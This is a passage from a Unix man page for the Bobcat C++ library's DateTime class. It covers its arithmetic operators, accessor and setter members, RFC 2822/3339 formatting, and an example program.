1, and not the finally expected calendar year! o DateTime operator-(DateTime const &obj, std::chrono::seconds seconds): Returns a copy of obj to which seconds were subtracted; o DateTime operator-(DateTime const &obj, tm const &ts): Returns a copy of obj to which the tm_sec, tm_min, tm_hour, tm_mday, tm_mon and tm_year fields of ts were subtracted. Caveat: note that this is an addition operation: if you want to subtract 1 year specify ts.tm_year = 1, and not the finally expected calendar year! o DateTime &operator-=(std::chrono::seconds seconds): Subtracts seconds from the time represented by the current object; o DateTime &operator-=(tm const &ts): Subtracts the tm_sec, tm_min, tm_hour, tm_mday, tm_mon and tm_year fields of ts from the time represented by the current object. Caveat: note that this is an addition operation: if you want to subtract 1 year specify ts.tm_year = 1, and not the finally expected calendar year! E.g., the following program fragment displays midnight, December 31, 1969: DateTime dt{ 0, DateTime::UTC }; // set UTC at begin of era tm era{ 0 }; // define a tm with tm_mday == 1 era.tm_mday = 1; dt -= era; // subtract from dt and display cout << dt << endl; Copy and move assignment operators are available. MEMBER FUNCTIONS All members returning a time-element do so according to the latest time-representation (i.e., UTC, LOCALTIME, or using an explicitly set display zone shift value). All members returning numeric values use 0 as their smallest return value, except for the ...Nr() members, which start at 1. o bool dst() const: Returns true if the current object’s time includes a DST shift, otherwise false is returned. o unsigned hours() const: Returns the number of hours represented by the current object’s time (0-23); o unsigned minutes() const: Returns the number of minutes represented by the current object (0-59); o DateTime::Month month() const: Returns the Month represented by the current object; o unsigned monthDayNr() const: Returns the day number of the month represented by the current object’s date (1-31); o string rfc2822() const: Returns the current object’s date/time displayed according to the RFC 2822 format. This format is used, e.g., by the date -R command (cf. date(1)). For example: Mon, 3 Dec 2018 13:49:10 +0100 o string rfc3339() const: Returns the current object’s date/time displayed according to the the RFC 3339 format. This format is used, e.g., by the date --rfc-3339=seconds command (cf. date(1)). For example: 2018-12-03 13:29:11+01:00 o unsigned seconds() const: Returns the number of seconds represented by the current object’s time (0-59, but 60 and 61 may occur at leap seconds); o void setDay(int dayNr): Assigns dayNr to the day number of the object’s current month. Caveat: since day numbers start at 1, passing 0 or negative values to setDay results in resetting the objects date to an earlier month; o void setFields(tm const &ts, DateTime::TimeFields fields): Assigns the fields of ts indicated by a bit_or combination of TimeFields fields’ value to the corresponding current object’s date/time tm fields; o void setHours(int hours): Assigns hours to the number of hours of the current object’s time; o void setMinutes(int minutes): Assigns minutes to the number of minutes of the current object’s time; o void setMonth(int month): Assigns month to the current object’s month. January is represented by 0, December by 11. Smaller or larger values refer to previous or future years; o void setMonth(DateTime::Month month): Assigns month to the current object’s month; o void setMonth(DateTime::Month month, DateTime::Relative where = THIS_YEAR): Assigns month to the current object’s month. By default the month of the current year is updated (where == THIS_YEAR). Use LAST to ensure that the month is set before the current object’s month (e.g., if the current month is JUNE, then requesting AUGUST, LAST will decrement the object’s year, but requesting MAY, LAST won’t). Analogously, when specifying DateTime::NEXT the resulting month is set after the current object’s month. Caveat: If the day number of the current month exceeds the number of days in the requested month, the object’s month and day number are updated to the next month. E.g., if the current day number equals 31, and NOVEMBER is requested, then the object’s date is updated to December 1; o void setSeconds(int seconds): Assigns seconds to the number of seconds of the current object’s time; o void setUTCseconds(time_t utcSeconds): Assigns utcSeconds as the number of seconds since the epoch to the current object’s UTC time; o void setWeekday(Weekday day, Relative where = NEXT): Assigns day to the current object’s day of the week. By default (where == NEXT) the day will be the next occurrence of day (maybe the current week, maybe in the next week: if the current day equals Monday and Friday is specified, the current week is used. If the current day equals Friday and Monday is requested the next week is used). By specifying where = LAST the day will be most recent occurrence of day: if the current day equals Friday and Monday is requested, the current week is used. By specifying where = THIS_WEEK then day is selected in the current week; o void setYear(unsigned year): Assigns year to the current object’s date. Note that year is the actual calendar year, and not, e.g., the year relative to the beginning of the epoch or 1900; o void setZone(Datetime::Zone const &zone): The current object’s time zone is set to zone. This does not alter the object’s UTC time, but merely its time zone. If the object represented UTC time before calling setZone it will represent a local time after calling setZone; o void swap(DateTime &other): Swaps the current and other DateTime object; o DateTime thisTime() const: Returns a DateTime object using the current object’s UTC time, applying the computer’s default time zone; o tm const *timeStruct() const: Returns a pointer to the object’s current tm representing its object’s broken down time elements. If the object holds a local time the tm struct represents the local time (if applicable: including a DST shift), otherwise it represents UTC; o DateTime utc() const: Returns a copy of the current object representing its UTC time; o time_t utcSeconds() const: Returns the current object’s (UTC) time in seconds since the epoch; o DateTime::Weekday weekday() const: Returns the current object’s Weekday value; o unsigned weekNr() const: Returns the week number of the current object’s date. Week numbers are numbers of complete weeks. If Jan 1st is a Sunday then the week numbers of Jan 1st through Jan 6th are returned as 1, otherwise the week numbers of Jan 1st through the date of the first Saturday of the year (which could very well be Jan 1st) are returned as 52; o unsigned year() const: Returns the year of the current object’s date (note: this is the actual calendar year, not the year since the epoch or relative to 1900); o unsigned yearDay() const: Returns the day in the year of the current object’s date. January 1st is returned as 0; o unsigned yearDayNr() const: Returns the day in the year of the current object’s date. January 1 is returned as 1; o DateTime::Zone const &zone() const: Returns the current object’s Zone object. ) STATIC MEMBER o void tm2cout(char const *label, TM const &ts): This static member is primarily used for debugging purposes. It displays the values of ts’s fields, preceded by label and ": ". EXAMPLES Many examples illustrating the use of DateTime objects are provided in the source archive’s bobcat/datetime/driver directory. Here is an example: #include <iostream> #include "../datetime" using namespace std; using namespace FBB; void show(DateTime const &dt, char const *label) { cout << label << ": " << dt << "\n" "dst: " << dt.dst() << "\n" "hh:mm:ss: " << dt.hours() << ’:’ << dt.minutes() << ’:’ << dt.seconds() << "\n" "year-month-monthdaynr: " << dt.year() << ’-’ << dt.month() << ’-’ << dt.monthDayNr() << "\n" "weekday/weeknr/yearday/yeardaynr: " << dt.weekday() << ’/’ << dt.weekNr() << ’/’ << dt.yearDay() << ’/’ << dt.yearDayNr() << "\n" "\n"; } int main() { time_t now = time(0); DateTime utc{ now, DateTime::UTC }; show(utc, "Current UTC time"); DateTime local{ utc.thisTime() }; cout << "The COMPUTER’S LOCAL TIME: " << local << ’\n’; DateTime dt{ now, DateTime::LOCALTIME }; show(dt, "Current LOCAL TIME"); DateTime utc2{ dt.utc() }; cout << "UTC obtained from LOCAL TIME: " << utc2 << ’\n’; DateTime jan1{ "2019-01-01 13:00:00+01:00", DateTime::LOCALTIME }; cout << "Jan 1, 1919, 13:00h: " << jan1 << ’\n’; show(jan1, "Jan 1, details:"); cout << "\nOptionally rerun specifying another time zone specification\n" "\n"; } FILES bobcat/datetime defines the class interface. SEE ALSO bobcat(7), Exception(3bobcat), gmtime_r(3), localtime_r(3), mktime(3), time(2), tzset(3),, BUGS See bobcat’s changelog file for an overview of members that were discontinued at release 5.00.00. The class DateTime assumes that time(2) returns the time in UTC. English is used/expected when specifying named date components.).
http://manpages.ubuntu.com/manpages/focal/man3/datetime.3bobcat.html
CC-MAIN-2020-16
refinedweb
4,625
58.32
The December 2006 CTP version for Sandcastle is now available for download at. Our sincere thanks to the Sandcastle user community and to Eric Woodruff for providing us with valuable feedback. What's new in this version: <br/>, <hr/>, <h1></h1>, <h2></h2>, <h3></h3>, <h4></h4>, <h5></h5>, <h6></h6>, <pre></pre>, <div></div>, <span></span>, <blockquote></blockquote>, <abbr></abbr>, <acronym></acronym>. XslTransform /xsl:..\..\ProductionTransforms\ApplyVSDocModel.xsl reflection.org /xsl:..\..\ProductionTransforms\AddGuidFilenames.xsl /out:reflection.xml Separate pages will be created for members, methods, properties, events, fields and constructors. Changes in this version: 1. Updated Sandcastle.config files for Prototype and VS2005 to include DXROOT variable. 2. Added new transform ApplyVsDocModel.xsl to support induvidual member pages for VS2005 transforms. Issues fixed in this version: 1. MrefBuilder internal+ switch not working. This was a regression in November CTP. 2. The Presentation\Prototype\Scripts\StyleUtilities.js file causes pages to throw JavaScript errors when it tries to access a style sheet with an ms-help URL when the page is loaded via an http:// URL. 3. There is an IE-specific reference to the event object that does not work in FireFox in the Presentation\VS2005\Scripts\script_manifold.js file. 4. When using FriendlyFilenames explicit interface methods are not compiled in CHM file - 5. The caption of my <seealso> tag does not appear 6. When using the <c> tag, the text within it appears in a slightly different font 7. When building for the VS2005 presentation style, it not longer displays the text indicating where an inherited member has been inherited from. 8. The code in the <example> tag does not appear in a light blue color like it does when compiled for the prototype presentation style 9. Bug: Root-chickenfeet item (namespaces) is no hyperlink anymore 10. Sandcastle Feature request 11. Bug in Prototype style's utilities_reference.xsl file. If you disable the C# language filter, it doesn't display the syntax for the first tab until you click on it. 12. MSDN links does not point to a language other than the English site. Fixed the ResolveReferenceLinksComponent hard codes the language ("en-US") for the URLs. 13. Bug in the processing of the <overloads> summary information. 14. Unavle to build Wintellect () dlls () 15. Given a generic base class with an overloaded method, MRefBuilder incorrectly lists the first member found for all overloads in the type's <elements> list. It does correctly generate an <api> entry for each method. However, because they aren't in the <elements> list, the other methods do not get documented. If the first method is internal or private, it shows up in the element list when it shouldn't and also hides the other public overloads. The problem does not occur if the "<T>" generic type is replaced with a non-generic type such as string. 16. When specifying a <permission /> in doc, the set of required permissions renders in the end documentation in a table, but it doesn't have the same styling as other tables (like the exceptions table), making it inconsistent and sort of hard to read. Styles are missing for permissions section under prototype. Issues not fixed in this version: 1. CHM is missing state - 2. Bug: Interihance Hierarchy VS2005 incorrect when using inner classes due to issue in BuildComponents. 3. Both the Prototype and VS2005 styles aren't showing the "obsolete" messages for items with an ObsoleteAttribute. 4. In the member lists, do not list all overloads; just list the member name with a jump to the topic containing the overload list (as done in MS-VS2005 documentation). 5. In vs2005 transform, there are only classes, interfaces in TOC, no their members any more. I would love to hear your feedback about this CTP. Anand..
http://blogs.msdn.com/b/sandcastle/archive/2006/12/10/announcing-december-sandcastle-ctp.aspx
CC-MAIN-2015-32
refinedweb
626
56.76
6. Fruitful functions¶ 6.1. Return values¶ The built-in functions we have used, such as abs, pow, int, max, and range, have produced results. Calling each of these functions generates a value, which we usually assign to a variable or use as part of an expression. We also wrote our own function to return the final amount for a compound interest calculation. In this chapter, we are going to write more functions that return values, which we will call fruitful functions, for want of a better name. The first example is area, which returns the area of a circle with the given radius: We have seen the return statement before, but in a fruitful function the return statement includes a return value. This statement means: evaluate the return expression, and then return it immediately as the result (the fruit) of this function. The expression provided can be arbitrarily complicated, so we could have written this function like this: On the other hand, temporary variables like b above often make debugging easier. Sometimes it is useful to have multiple return statements, one in each branch of a conditional. We have already seen the built-in abs, now we see how to write our own: Another way to write the above function is to leave out the else and just follow the if condition by the second return statement. Think about this version and convince yourself it works the same as the first one. Code that appears after a return statement, or any other place the flow of execution can never reach, is called dead code, or unreachable code. In a fruitful function, it is a good idea to ensure that every possible path through the program hits a return statement. The following version of absolute_value fails to do this: This version is not correct because if x happens to be 0, neither condition is true, and the function ends without hitting a return statement. In this case, the return value is a special value called None: >>> print(bad_absolute_value(0)) None All Python functions return None whenever they do not return another value. It is also possible to use a return statement in the middle of a for loop, in which case control immediately returns from the function. Let us assume that we want a function which looks through a list of words. It should return the first 2-letter word. If there is not one, it should return the empty string: >>> find_first_2_letter_word(["This", "is", "a", "dead", "parrot"]) 'is' >>> find_first_2_letter_word(["I", "like", "cheese"]) '' Single-step through this code and convince yourself that in the first test case that we’ve provided, the function returns while processing the second element in the list: it does not have to traverse the whole list. 6.2. function with the arguments shown above, when the flow of execution gets to the return statement, dx should be 3 and dy should be 4. We can check that this is the case in PyScripter by putting the cursor on the return statement, and running the program to break execution when it gets to the cursor (using the F4 key). Then we inspect the variables dx and dy by hovering the mouse above them, to confirm that the function inspect the value of result function shorter. A good guideline is to aim for making code as easy as possible for others to read. Here is another version of the function. It makes use of a square root function that is in the math module (we’ll learn about modules shortly). Which do you prefer? Which looks “closer” to the Pythagorean formula we started out with? >>> distance(1, 2, 4, 6) 5.0 6.3. Debugging with print¶ Another powerful technique for debugging (an alternative to single-stepping and inspection of program variables), is to insert extra You must have a clear solution to the problem, and must know what should happen before you can debug a program. Work on solving the problem on a piece of paper (perhaps using a flowchart to record the steps you take) before you concern yourself with writing code. Writing a program doesn’t solve the problem — it simply automates the manual steps you would take. So first make sure you have a pen-and-paper manual solution that works. Programming then is about making those manual steps happen automatically. Do not write chatterbox functions. A chatterbox is a fruitful function that, in addition to its primary task, also asks the user for input, or prints output, when it would be more useful if it simply shut up and did its work quietly. For example, we’ve seen built-in functions like range, maxand abs. None of these would be useful building blocks for other programs if they prompted the user for input, or printed their results while they performed their tasks. So a good tip is to avoid calling inputfunctions inside fruitful functions, unless the primary purpose of your function is to perform input and output. The one exception to this rule might be to temporarily sprinkle some calls to 6.4. Composition¶: The second step is to find the area of a circle with that radius and return it. Again we will use one of our earlier functions: Wrapping that up in a function, we get: We called this function area2 to distinguish it from the area function defined earlier. The temporary variables radius and result are useful for development, debugging, and single-stepping through the code to inspect what is happening, but once the program is working, we can make it more concise by composing the function calls: 6.5. Boolean functions¶ Functions can return Boolean values, which is often convenient for hiding complicated tests inside functions. For example:: This session shows the new function in action: >>> is_divisible(6, 4) False >>> is_divisible(6, 3) True Boolean functions are often used in conditional statements: It might be tempting to write something like: but the extra comparison is unnecessary. 6.6. Programming with style¶ Readability is very important to programmers, since in practice programs are read and modified far more often then they are written. But, like most rules, we occasionaly break them. Most of the code examples in this book will be consistent with the Python Enhancement Proposal 8 (PEP 8), a style guide developed by the Python community. We’ll have more to say about style as our programs become more complex, but a few pointers will be helpful already: - use 4 spaces (instead of tabs) for indentation - limit line length to 78 characters - when naming identifiers, use CamelCasefor classes (we’ll get to those) and lowercase_with_underscoresfor functons and variables - place imports at the top of the file - keep function definitions together - use docstrings to document functions - use two blank lines to separate function definitions from each other - keep top level statements, including function calls, together at the bottom of the program 6.7. Unit testing¶ It is a common best practice in software development. Some years back organizations had the veiw that their valuable asset was the program code and documentation. Organizations will now spend a large portion of their software budgets on crafting (and preserving) their tests. Unit testing also forces the programmer to think about the different cases that the function needs to handle. You also only have to type the tests once into the script, rather than having to keep entering the same test data over and over as you develop your code. Extra code in your program which is there because it makes debugging or testing easier is called scaffolding. A collection of tests for some code is called its test suite. There are a few different ways to do unit testing in Python — but at this stage we’re going to ignore what the Python community usually does, and we’re going to start with two functions that we’ll write ourselves. We’ll use these for writing our unit tests. Let’s start with the absolute_value function that we wrote earlier in this chapter. Recall that we wrote a few different versions, the last of which was incorrect, and had a bug. Would tests have caught this bug? First we plan our tests. We’d like to know if the function returns the correct value when its argument is negative, or when its argument is positive, or when its argument is zero. When planning your tests, you’ll always want to think carefully about the “edge” cases — here, an argument of 0 to absolute_value is on the edge of where the function behaviour changes, and as we saw at the beginning of the chapter, it is an easy spot for the programmer to make a mistake! So it is a good case to include in our test suite. We’re going to write a helper function for checking the results of one test. It takes a boolean argument and will either print a message telling us that the test passed, or it will print a message to inform us that the test failed. The first line of the body (after the function’s docstring) magically determines the line number in the script where the call was made from. This allows us to print the line number of the test, which will help when we want to identify which tests have passed or failed. There is also some slightly tricky string formatting using the format method which we will gloss over for the moment, and cover in detail in a future chapter. But with this function written, we can proceed to construct our test suite: def test_suite(): """ Run the suite of tests for code in this module (this file). """ test(absolute_value(17) == 17) test(absolute_value(-17) == 17) test(absolute_value(0) == 0) test(absolute_value(3.14) == 3.14) test(absolute_value(-3.14) == 3.14) test_suite() # Here is the call to run the tests Here you’ll see that we’ve constructed five tests in our test suite. We could run this against the first or second versions (the correct versions) of absolute_value, and we’d get output similar to the following: Test at line 25 ok. Test at line 26 ok. Test at line 27 ok. Test at line 28 ok. Test at line 29 ok. But let’s say you change the function to an incorrect version like this: Can you find at least two mistakes in this code? Our test suite can! We get: Test at line 25 ok. Test at line 26 FAILED. Test at line 27 FAILED. Test at line 28 ok. Test at line 29 FAILED. These are three examples of failing tests. There is a built-in Python statement called assert that does almost the same as our test function (except the program stops when the first assertion fails). You may want to read about it, and use it instead of our test function. 6.8. Glossary¶ - Boolean function - A function that returns a Boolean value. The only possible values of the booltype are Falseand True. -. - test suite - A collection of tests for some code you have written. - unit testing - An automatic procedure used to validate that individual units! 6.9. Exercises¶ All of the exercises below should be added to a single file. In that file, you should also add the test and test_suite scaffolding functions shown above, and then, as you work through the exercises, add the new tests to your test suite. (If you open the online version of the textbook, you can easily copy and paste the tests and the fragments of code into your Python editor.) After completing each exercise, confirm that all the tests pass. The four compass points can be abbreviated by single-letter strings as “N”, “E”, “S”, and “W”. Write a function turn_clockwisethat takes one of these four compass points as its parameter, and returns the next compass point in the clockwise direction. Here are some tests that should pass: test(turn_clockwise("N") == "E") test(turn_clockwise("W") == "N") You might ask “What if the argument to the function is some other value?” For all other cases, the function should return the value None: test(turn_clockwise(42) == None) test(turn_clockwise("rubbish") == None) Write a function day_namethat converts an integer number 0 to 6 into the name of a day. Assume day 0 is “Sunday”. Once again, return None if the arguments to the function are not valid. Here are some tests that should pass: test(day_name(3) == "Wednesday") test(day_name(6) == "Saturday") test(day_name(42) == None) Write the inverse function day_numwhich is given a day name, and returns its number: test(day_num("Friday") == 5) test(day_num("Sunday") == 0) test(day_num(day_name(3)) == 3) test(day_name(day_num("Thursday")) == "Thursday") Once again, if this function is given an invalid argument, it should return None: test(day_num("Halloween") == None) Write a function that helps answer questions like ‘“Today is Wednesday. I leave on holiday in 19 days time. What day will that be?”’ So the function must take a day name and a deltaargument — the number of days to add — and should return the resulting day name: test(day_add("Monday", 4) == "Friday") test(day_add("Tuesday", 0) == "Tuesday") test(day_add("Tuesday", 14) == "Tuesday") test(day_add("Sunday", 100) == "Tuesday") Hint: use the first two functions written above to help you write this one. Can your day_addfunction already work with negative deltas? For example, -1 would be yesterday, or -7 would be a week ago: test(day_add("Sunday", -1) == "Saturday") test(day_add("Sunday", -7) == "Sunday") test(day_add("Tuesday", -100) == "Sunday") If your function already works, explain why. If it does not work, make it work. Hint: Play with some cases of using the modulus function % (introduced at the beginning of the previous chapter). Specifically, explore what happens to x % 7when x is negative. Write a function days_in_monthwhich takes the name of a month, and returns the number of days in the month. Ignore leap years: test(days_in_month("February") == 28) test(days_in_month("December") == 31) If the function is given invalid arguments, it should return None. Write a function to_secsthat converts hours, minutes and seconds to a total number of seconds. Here are some tests that should pass: test(to_secs(2, 30, 10) == 9010) test(to_secs(2, 0, 0) == 7200) test(to_secs(0, 2, 0) == 120) test(to_secs(0, 0, 42) == 42) test(to_secs(0, -10, 10) == -590) Extend to_secsso that it can cope with real values as inputs. It should always return an integer number of seconds (truncated towards zero): test(to_secs(2.5, 0, 10.71) == 9010) test(to_secs(2.433,0,0) == 8758) Write three functions functions is an integer. Here are some test cases: test(hours_in(9010) == 2) test(minutes_in(9010) == 30) test. Since our book is titled How to Think Like ... you might enjoy reading at least one reference about thinking, and about fun ideas like fluid intelligence, a key ingredient in problem solving. See, for example,. Learning Computer Science requires a good mix of both fluid and crystallized kinds of intelligence. Which of these tests fail? Explain why. test(3 % 4 == 0) test(3 % 4 == 3) test(3 / 4 == 0) test(3 // 4 == 0) test(3+4 * 2 == 14) test(4-2+2 == 0) test(len("hello, world!") == 13) Write a comparefunction that returns 1if a > b, 0if a == b, and -1if a < b test(compare(5, 4) == 1) test(compare(7, 7) == 0) test(compare(2, 3) == -1) test(compare(42, 1) == 1) Write a function called hypotenusethat returns the length of the hypotenuse of a right triangle given the lengths of the two legs as parameters: test(hypotenuse(3, 4) == 5.0) test(hypotenuse(12, 5) == 13.0) test(hypotenuse(24, 7) == 25.0) test(hypotenuse(9, 12) == 15.0) Write a function slope(x1, y1, x2, y2)that returns the slope of the line through the points (x1, y1) and (x2, y2). Be sure your implementation of slopecan pass the following tests: test(slope(5, 3, 4, 2) == 1.0) test(slope(1, 2, 3, 2) == 0.0) test(slope(1, 2, 3, 3) == 0.5) test(slope(2, 4, 1, 2) == 2.0) Then use a call to slopein a new function named intercept(x1, y1, x2, y2)that returns the y-intercept of the line through the points (x1, y1)and (x2, y2) test(intercept(1, 6, 3, 12) == 3.0) test(intercept(6, 1, 1, 6) == 7.0) test(intercept(4, 6, 12, 8) == 5.0) Write a function called is_even(n)that takes an integer as an argument and returns Trueif the argument is an even number and Falseif it is odd. Add your own tests to the test suite. Now write the function is_odd(n)that returns Truewhen nis odd and Falseotherwise. Include unit tests for this function too. Finally, modify it so that it uses a call to is_evento determine if its argument is an odd integer, and ensure that its test still pass. Write a function is_factor(f, n)that passes these tests: test(is_factor(3, 12)) test(not is_factor(5, 12)) test(is_factor(7, 14)) test(not is_factor(7, 15)) test(is_factor(1, 15)) test(is_factor(15, 15)) test(not is_factor(25, 15)) An important role of unit tests is that they can also act as unambiguous “specifications” of what is expected. These test cases answer the question Do we treat 1 and 15 as factors of 15? Write is_multipleto satisfy these unit tests: test(is_multiple(12, 3)) test(is_multiple(12, 4)) test(not is_multiple(12, 5)) test(is_multiple(12, 6)) test(not is_multiple(12, 7)) Can you find a way to use is_factorin your definition of is_multiple? Write the function f2c(t)designed to return the integer value of the nearest degree Celsius for given temperature in Fahrenheit. (hint: you may want to make use of the built-in function, round. Try printing round.__doc__in a Python shell or looking up help for the roundfunction, and experimenting with it until you are comfortable with how it works.) test(f2c(212) == 100) # Boiling point of water test(f2c(32) == 0) # Freezing point of water test(f2c(-40) == -40) # Wow, what an interesting case! test(f2c(36) == 2) test(f2c(37) == 3) test(f2c(38) == 3) test(f2c(39) == 4) Now do the opposite: write the function c2fwhich converts Celsius to Fahrenheit: test(c2f(0) == 32) test(c2f(100) == 212) test(c2f(-40) == -40) test(c2f(12) == 54) test(c2f(18) == 64) test(c2f(-48) == -54)
http://7-fountains.com/7FD/thinkcspy3/thinkcspy3/fruitful_functions.html
CC-MAIN-2018-51
refinedweb
3,073
60.95
Based on developer requests for greater flexibility and for better performance, we've added a number of new features for iframe canvas pages that provide them with much of the functionality previously available only to FBML-based applications. These features include: - Using XFBML, our extension to FBML that allows iframe-based application to use FBML tags. - The availability of cached friend lists and preload FQL data to the JavaScript client library. - The ability to preload FQL queries, just like FBML-based applications have been able to do. You can now use FBML tags on iframe canvas pages with XFBML. Many tags, like fb:name and fb:profile-pic, you can incorporate directly into your iframe's HTML. Other important tags, like fb:request-form, you can use within the fb:serverfbml tag, letting you incorporate multi-friend selectors and request forms right into your iframe. If you're trying out Facebook Connect, you might already be familiar with XFBML, and now these same features are available for all iframe applications. You can access friend lists faster using the standard JavaScript client library's FB.Facebook.apiClient.friends_get(callback) call. This call detects if the data is already rendered on a canvas page, avoiding a server request and loading the data instantly through the cross-domain communication channel. Any preloaded FQL data requested with the REST API admin.setAppProperties call is also rendered on canvas pages and can be accessed via the JavaScript client library's FB.Facebook.apiClient.preloadFQL_get(callback) call, which gets the data in the same way. The argument passed to callback is an associative array with requested rule names as keys and JSON-encoded query results as values. In addition to the JavaScript client library changes, iframe applications that want to preload FQL queries will receive the data along with other parameters via POST with the prefix 'fb_post_sig’. We’re using a different prefix from the original 'fb_sig' prefix so we can avoid namespace collisions with the GET parameters, which will continue to use 'fb_sig' for compatibility with current applications which may be expecting the data. These parameters can be accessed and validated in the same method as the old parameters (for the PHP client, use get_valid_fb_params with the new fb_post_sig prefix). The PHP client library has been updated to combine the new parameters so they can be accessed as part of the fb_params. We hope that this new functionality will assist developers in creating faster applications for a better user experience. Please send us any feedback and share your thoughts with the community in the Developer forum.
https://developers.facebook.com/blog/post/152/
CC-MAIN-2015-27
refinedweb
431
50.97
In file included from src/bddsolve.cpp:30: include/sat/reach.h:25:10: error: no viable conversion from returned value of type 'std::ifstream' (aka 'basic_ifstream<char>') to function return type 'bool' return (from); ^~~~~~ build log: regressed by: (In reply to Dimitry Andric from bug 216034 comment #6) > Note that the upstream author has reverted the commit causing this here: > > > > and has also merged it to the 4.0 branch. I will import the upstream > branch into the projects/clang400-import branch soon. lang/gcc6 and later versions are also affected. In file included from src/bddsolve.cpp:30:0: include/sat/reach.h: In function 'bool exists_file(const string&)': include/sat/reach.h:25:15: error: cannot convert 'std::ifstream {aka std::basic_ifstream<char>}' to 'bool' in return return (from); ^ Created attachment 178901 [details] Patch to fix the build Hi there, Thanks for the report. So if I understand the issue correctly: C++ iostreams have two type conversion operators: - One that returns a true/false value in the form of a pointer, - As of C++11, one that uses a 'bool' instead. I guess the bddsolve code was written with the first in mind. Now the second flavour appears, but that one has the 'explicit' keyword, meaning we now need to cast to 'bool' explicitly. Instead of going through the hassle of casting, the attached patch changes the code to use the fail() member function. Does that look like the right way of solving this? If so, I'll send a patch to this program's author. Best regards, Ed > bool exists_file(const std::string& filename) > { > std::ifstream from(filename.c_str()); > - return (from); > + return !from.fail(); Why not "return from.good()" instead similar to textproc/libxml++26 upstream fix? Otherwise, ask toolchain@ whether to convert or not. I don't know much C++. Because the good() member function isn't the exact opposite of the fail() member function. See the table at the bottom of this page: Changing it to use good() alters the code's behaviour. So to get this straight: this no longer breaks, right? It was caused by a change to libc++, but that change has been reverted. If so, shall I mark this bug as WONTFIX? DragonFly, architectures on external toolchain and users that prefer GCC may be affected after upgrading GCC to 6.x or later. For some reason Clang (even 4.0) is still stuck with C++98 by default, so such errors can be fixed by sprinkling USE_CXXSTD=gnu++98 in ports. Clang 6 defaults to C++14, so pkg-fallout@ will complain soon. A commit references this bug: Author: ed Date: Wed Jan 17 14:28:32 UTC 2018 New revision: 459258 URL: Log: Upgrade bddsolve to version 1.04. This release includes a fix that should make it build with C++14. PR: 216080 Reviewed by: jbeich Differential Revision: Changes: head/science/bddsolve/Makefile head/science/bddsolve/distinfo
https://bugs.freebsd.org/bugzilla/show_bug.cgi?format=multiple&id=216080
CC-MAIN-2021-43
refinedweb
489
66.44
. Documentation: What is MVC? Model – This component used for the define our database tables and organize data. View – This component contains the UI logic in the Django architecture. Controller – This component handles the user interaction and selects a view according to the model. What is MVT? Model, View, Template (MVT) architecture The main difference between the MVC and MVT patterns is that Django takes care of the Controller part itself. leaving the developer with the template. PS: Django supports the MVC pattern and MVT pattern both but Django has been referred to as an MTV framework because the controller is handled by the framework itself. Check here >> Django Tutorial for Beginners – Installation Enter the following command in cmd and press enter pip install django Start Django Project Enter the following command in cmd and press enter django-admin startproject projectName Then open Project Folder using your favorite code editor. How to install Code Editor on Windows Python in Visual Studio Code: Start Test Server Enter the following command in cmd and press enter python manage.py runserver Then open a web browser and visit 127.0.0.1:8000 or localhost:8000 (This is the test server page on the web browser) Creating the Blog app Enter the following command in cmd and press enter python manage.py startapp blog Projects vs Apps: “An app is a Web application that does something (ex: a Weblog, a database or a simple poll app. A project is a collection of configuration and apps for a particular website. A project can contain multiple apps. An app can be in multiple projects.” – It will create a new directory called a blog Create a new View Open the file blog/views.py and enter the following code. import from django.http import HttpResponse from django.shortcuts import render from django.http import HttpResponse # Create your views here. def vMain(request): return HttpResponse("<h1> Hello World! </h1>") To create a URLconf in the blog directory, create a file called urls.py import from django.urls import path from . import views Then enter the following code and save urls.py from django.urls import path from . import views urlpatterns = [ path('', views.vMain, name='main-page'), ] To point blog URLconf to the root URLconf. open firstProject/urls.py import from django.urls import include Then enter the following code and save urls.py from django.contrib import admin from django.urls import path from django.urls import include urlpatterns = [ path('admin/', admin.site.urls), path('blog/', include('blog.urls')), ] Now run a project using the following command and visit 127.0.0.1:8000/blog python manage.py runserver Connect MySQL Database with Django. SQL Tutorial: Introduction for beginners (Basic) In this tutorial, we use XAMPP {Apache (A) + MariaDB(M) + PHP(P) + Perl(P)} . XAMPP Download link (121 MB) – WAMP download link (286 MB) – MAMP download link (410 MB) – Install XAMPP installation location and click Next (Default: C:xampp) (If you got Apache and MySQL (It will start Apache and MySQL servers) Create a Database Open a web browser and type or (it will redirect you to phpMyAdmin control page) Click Databases and enter the Database Name then click Create, it will create our database. My database name is “dbpy_firstproject” Database Configuration – settings.py Installation Microsoft Visual C++ 14.0 is required. Get it with “Microsoft Visual C++ Build Tools”: Then install Windows 10 SDK (10.0.17763.0) python -m pip install mysqlclient if you had a problem while installing mysqlclient check following document Open the file called, firstProject/settings.py and find this part # Database # DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } Enter the following code and save setting.py DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'database_Name', 'USER': 'database_Username', 'PASSWORD': 'database_Password', 'HOST': 'your_hostname', 'PORT': 'port', 'OPTIONS': { 'init_command': "SET sql_mode='STRICT_TRANS_TABLES'" } } } Enter the following command in cmd and press enter to migrate the database. python manage.py migrate Github: Part 1 – Completed Sources : (images) (Documentation) Hello Guys, Hope this post (Python Tutorial: Django Tutorial for Beginners) :
https://ctechf.com/python-tutorial-django-tutorial-beginners/
CC-MAIN-2019-43
refinedweb
678
59.9
Serverless Binding and RootDSE If possible, do not hard-code a server name. Furthermore, under most circumstances, binding should not be unnecessarily tied to a single server. Active Directory Domain Services support serverless binding, which means that Active Directory can be bound to on the default domain without specifying the name of a domain controller. For ordinary applications, this is typically the domain of the logged-on user. For service applications, this is either the domain of the service logon account or that of the client that the service impersonates. In LDAP 3.0, rootDSE is defined as the root of the directory data tree on a directory server. The rootDSE is not part of any namespace. The purpose of the rootDSE is to provide data about the directory server. The following is the binding string that is used to bind to rootDSE. The <servername> is the DNS name of a server. The <servername> is optional, as shown in the following format. In this case, a default domain controller from the domain that the security context of the calling thread is in will be used. If a domain controller cannot be accessed within the site, the first domain controller that can be found will be used. The rootDSE is a well-known and reliable location on every directory server to get distinguished names of the domain, schema, and configuration containers, and other data about the server and the contents of its directory data tree. These properties rarely change on a particular server. An application can read these properties at startup and use them throughout the session. In summary, an application should use serverless binding to bind to the directory on the current domain, use rootDSE to get the distinguished name for a namespace, and use that distinguished name to bind to objects in the namespace. For more information about attributes supported by rootDSE, see RootDSE in the Active Directory Schema documentation. For more information and a code example that shows how to use serverless binding and rootDSE, see Example Code for Getting the Distinguished Name of the Domain.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms677945(v=vs.85).aspx
CC-MAIN-2014-52
refinedweb
